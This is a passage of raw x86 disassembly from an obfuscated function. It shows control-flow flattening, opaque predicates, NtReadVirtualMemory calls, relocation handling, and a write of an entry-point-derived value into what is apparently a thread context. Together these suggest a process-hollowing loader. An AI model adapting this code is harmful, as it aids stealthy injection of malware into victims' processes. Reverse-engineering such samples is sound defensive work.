jmp 0x1000e6f4
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x16c], 0x1b3114de
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xab32bbc3
jmp 0x1000e6f4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000f5c0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x16c], 0x4e16e776
jmp 0x1000e6f4
mov eax, dword [ebp - 0x15c]
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c1276e9
mov ecx, 0x5681b959
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42877222
mov ecx, 0x1bf53bb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x486200f
mov ecx, 0x2df75d33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0x896dba3f
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0x9f17b88c
jmp 0x1000e6f4
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x16c], 0x706c5ab3
jmp 0x1000e6f4
mov eax, dword [ebp - 0x140]
mov dword [eax], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x16c], 0x188387d0
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xdfa18bd2
jmp 0x1000e6f4
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
sub ecx, 0x30961fdc
add ecx, eax
add ecx, 0x30961fdc
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x154]
mov edx, dword [eax]
mov eax, dword [ebp - 0x104]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x16c], 0x621d82ef
jmp 0x1000e6f4
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
add ecx, 0x46e93107
add ecx, eax
sub ecx, 0x46e93107
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x8d62951d
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xd9ad9f16
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xdf9b92dd
jmp 0x1000e6f4
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0xd2c110fe
jmp 0x1000e6f4
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x16c], 0x47284aa5
jmp 0x100079c7